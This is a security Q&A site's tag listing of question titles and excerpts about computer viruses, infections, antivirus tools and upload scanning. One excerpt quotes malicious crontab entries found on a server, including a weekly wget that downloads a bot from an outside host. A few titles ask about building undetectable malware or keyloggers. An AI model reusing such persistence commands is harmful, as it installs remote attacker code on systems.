A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

learn more… | top users | synonyms

3
votes
2answers
286 views

I ran a virus on a PC. What should be the next steps?

I wanted to remove a probably malicious executable, but instead inadvertently double-clicked on it while using an account with administrative privileges. Nothing visible happened during a few seconds, ...
-1
votes
3answers
2k views

How to make undetectable malware [closed]

Fred Cohen in 1986 has proved in his Ph.D. thesis the undecidability of viral detection (no perfect virus checker can ever exist). My question is : Is it possible for a malware to stay very long time ...
16
votes
3answers
7k views

Do I really need an Anti-Virus software if I'm careful about where I browse?

A friend told to me the following: I don't use Anti-Virus software at all, I am just careful about where I go and what I click on. I've also heard this from other people as I've repaired their ...
13
votes
3answers
905 views

remote desktop connection to a potentially compromised machine

I am using rdesktop client on Linux to connect to windows machines. If some of these machines were compromised by some evil malware/virus/worm/trojan, is there any way for the malware to "jump" to my ...
10
votes
4answers
1k views

What is Net-Worm.PHP.Mongiko trying to do?

I found several lines of this request in my web server access log: Source IP Dest IP Request Stat User agent 217.172.190.19 ...
3
votes
2answers
846 views

How to deal with resistant malware

Everytime I visit Gmail, Facebook, YouTube, or Yahoo mail, I get a popup "Please update Internet Explorer" (while I'm using Chrome!). I don't have screenshots but this website describes the problem. ...
0
votes
3answers
114 views

How an experienced user decides a download is safe? [closed]

I am new to computer security. I was wondering what an experienced information security user would do when inspecting a file for potential download. Obviously, it would be very difficult to look ...
2
votes
3answers
1k views

Can a wireless headphone (bluetooth) contain malware?

Can a wireless (bluetooth) headphone store data? Also, if it can, then can someone put malware in it? I assume that the device must necessarily be able to store some sort of data, since it has buttons ...
5
votes
3answers
565 views

PHP | Security for allowing user uploads

My Sittuation: I am creating a web application with PHP which allows users to scan their files for viruses. It allows the user to upload their files via the html "file" input type or via a URL. I ...
0
votes
1answer
666 views

How exactly do viruses get on computer when watching online porn? [duplicate]

I've been hearing that your computer could get infected when you visit porn sites, especially when watching videos. But how exactly do viruses get on client side? Is it by cache? Or maybe by ...
2
votes
2answers
751 views

How exactly do you infect the firmware of a hard drive? [closed]

Now that we are told that infecting firmware has been done in practice, how exactly does this work?
2
votes
2answers
86 views

Virus - by-pass with binairies repackaging

Why don’t « hackers » (or more accurately, « virus maker ») just do repackaging over their malware to by-pass antivirus software? Because it resolves the issue of the virus signature (kind of hash), ...
-6
votes
1answer
126 views

IVE BEEN HACKED! [duplicate]

So i downloaded an application that was fishy that came out a couple hours ago on youtube and i was stupid and didnt scan it or anything and i let it run... blam instant security warnings and i ...
0
votes
2answers
7k views

What is the meaning of .ini file in startup folder?

Now my windows 7 is too slow and crashing usually. I checked the start up folder. I get a file with extension .ini. The content of file is [.ShellClassInfo] ...
5
votes
4answers
866 views

How to keep Mac secure from viruses, malware and keyloggers?

How can I download and install software and make sure that it is not infected with viruses, malware or a keylogger? Also, I heard that Macs "don't get viruses". Is this true? Is it a good practice to ...
23
votes
4answers
7k views

Are popular porn sites more likely to be infected with malware?

I'm trying to help my friend understand this because he believes that since a site is very popular, that it's less likely to infect its viewers because of its security! Is a popular site less likely ...
1
vote
2answers
151 views

Is the convertomp3.com website hacked? :) [closed]

I wanted to convert a youtube video to mp3, but the website gaved me an EXE? ...
4
votes
3answers
6k views

Can malware physically damage a hard drive?

I recently responded to an incident of supposed malware infection. The symptoms were simply, "My computer freezes at random times." The response ended with replacement of the physical hard drive and ...
0
votes
5answers
233 views

how to know that my pc is 100% clean?

I work as a programmer ,i want to make sure that no remote access tools RATS are on my pc before i work on my new project. it happened before that after finishing a hard project, a hacker went on my ...
0
votes
0answers
152 views

How to test backend virus behavior?

I have a website that allows the user to upload files. The front-end (web tier) checks the file extension and first few bytes of the file for the magic number of an acceptable file, but then ...
2
votes
2answers
187 views

Is it safe to store a file in a temporary folder before it has been scanned for a virus?

I'm working on an application that makes use of the Symantec Protection Engine to scan uploaded files. I'm having issues with my files after they have been scanned. One possible solution I've seen ...
1
vote
1answer
118 views

Has this method ever been used by viruses to check if system has already been infected?

I know the era of the self spreading worm is over, but has this mechanism for determining if a machine has already been infected or not ever been used? When a virus runs it checks to see if the ...
11
votes
5answers
323 views

Security of root terminal (su -) when logged into X

I often log into X as normal user (of course), open terminal and switch to root: su - I have then a terminal owned by user but effectively with root privileges. Are there any security issues in ...
2
votes
4answers
1k views

Should text files or image files be virus scanned during upload?

I have created an online web app for my company. It's being tested for security files. The tester loaded the EICAR text file. The virus scanner on the server caught and removed the file. I have only ...
-1
votes
1answer
6k views

Writing keylogger and viruses in python [closed]

So recently I have been working on some projects one of them is keylogger and the second is SYNflood (both in python). I want to know if ,is it a good practice to use python language for such ...
5
votes
3answers
3k views

Detected virus in pdf - should I be worried (CVE-2014-8449)?

I downloaded a pdf earlier, and I was trying to send it to my friend, but gmail said that it detected a virus. So I ran it through virustotal.com and only 1 out of 56 scanners came up with a virus - ...
1
vote
1answer
590 views

ClamAV detected CVE-2014-8449 in some PDFs. How do I know if it's a real problem?

We run clamav on all our user-uploaded files. It's currently giving this message for several PDFs: <filename...>: Pdf.Exploit.CVE_2014_8449 FOUND Looking at the CVE, it's for a integer ...
4
votes
4answers
519 views

Can my phone be affected by malware through mobile phone signal?

My phone is newly bought. Can a hacker actually scan the mobile phone signal around me, detect it, and put virus/malware into my phone THROUGH the mobile phone signal of my mobile service provider? ...
1
vote
2answers
152 views

Can folders [alone] have viruses?

I know that files can be infected, but can a Folder itself have a virus/trojan?
5
votes
1answer
494 views

How antivirus companies create virus defnitions for new outbreaks

This question quite amazes me. I dont understand how antivirus companies get info about the latest viruses. have they installed some kind of filters to monitor the internet traffic ? Or they are ...
50
votes
8answers
13k views

Should I get an antivirus for my Mac?

There are some people saying that people should use an antivirus software on Mac. And there are thousands of people claiming that Macs don't get viruses (under this term I mean spyware / malware as ...
1
vote
2answers
111 views

Trojan name I can't find any information about

I decided to take an online virus scan using ESET online scanner, after getting some weird crash that made my drivers and other parts of the operating system unusable... The preliminary results say ...
1
vote
2answers
133 views

Any “cleaned” virus that's been successfully re-released?

Anti-malware software has to keep track of all bad software there is. To ease this load, it seems like a good idea to stop looking for threats that's been dead for years. Is there any example of some ...
0
votes
1answer
869 views

Clicked link on fake email which appeared to be from friend [duplicate]

I receieved an e-mail which at first glance appeared to be from a friend, I clicked on the link provided without thinking as we would often exchance links to sites. The link went nowhere i.e page not ...
3
votes
1answer
2k views

Lifecycles of a computer virus

According to what I read there are four phases: - Dormant phase - Propagation phase - Triggering phase - Execution phase I however am having trouble finding a chronological order in how these events ...
1
vote
2answers
3k views

Based on these email headers, where is this virus coming from?

I'm seeing a virus in our network with some strange headers. Sometimes they are coming (sourced) from a netscaler VIP, other times they seem to come from an Exchange hub server. How do I determine ...
1
vote
2answers
204 views

Viruses From Email Attachments

My company just got a worm. The specific one is beside the point, but I linked a couple pages that I think describe the worm / virus below. We're getting lots of emails to Outlook asking us to open ...
2
votes
2answers
846 views

“Threat: WMA:Wimad [Susp]” on .avi file, possible to remove threat and keep file?

I ran a full system scan this morning with all of my virus/malware programs and Avast detected 1 virus in an .avi file (which thankfully I have not yet watched): Severity: Medium Threat: WMA: Wimad ...
36
votes
7answers
193k views

How can I watch porn, safely, and not get a virus? (and not infect corporate data also)

I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company ...
1
vote
1answer
424 views

Trojan/Worm Cridex Issue

Currently we are receiving a surge in machines that are being attacked with Cridex. We received several spam/infected emails that have used macros to we think deploy a backdoor trojan that is ...
6
votes
3answers
2k views

Why did Apple think OS/X was virus proof?

In such articles as this one at Examiner.com, we see that Apple had long "advertised" the immunity of its desktop OS to viruses. It had to dilute that assertion when the Flashback virus appeared. ...
12
votes
4answers
7k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
4
votes
5answers
4k views

Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
12
votes
2answers
5k views

How can a malicious URL affect a computer?

Many security experts advise not to click on malicious URLs. How can clicking a URL affect a computer's security? If a malicious file was downloaded and executed, then a computer's security may be ...
6
votes
4answers
1k views

What are these URLs in my browsers?

I was testing my Node.JS application. When I opened my app using Chrome and Mozilla, I saw these JS files included in every page I browse. They appear in all browsers I use (Firefox, Chrome). ...
5
votes
1answer
4k views

What happened with badBios [duplicate]

Maybe some of you remember that in November 2013 the respected researcher Dragos Ruiu claimed that he was infected by some super advanced virus that no one ever heard of before. Experts agreed that ...
0
votes
2answers
366 views

Help understanding malware infection

I'm kind of a newbie to security and need help fully understanding how I would infect myself inadvertently. Let's say I was to download a .zip file attached to an email and I unzipped the contents. ...
1
vote
3answers
276 views

Malware stole an executable file on my computer? Seems unlikely

If you don't want to read all of the details, skip to the bottom; I'll make a summary. I created a computer program as a proof of concept (I threw it together in 12 hours, so I wrote it in Visual ...
19
votes
7answers
2k views

Why do malware creators use such clever technologies for such silly purposes?

Some days ago I got infected by a malware, probably something new and very clever, as it went in unstopped and no scanning tool was able to detect it afterwards (see this question). It was a ...
0
votes
1answer
276 views

My computer hacked? tcpdump show a connection to an ALLOCATED UNSPECIFIED ip address

13:06:05.345111 IP 192.168.1.101.36218 > 157.55.130.174.40033: Flags [.], ack 162, win 237, options [nop,nop,TS val 688796 ecr 596714815], length 0 This IP address is Allocated Unspecified on ...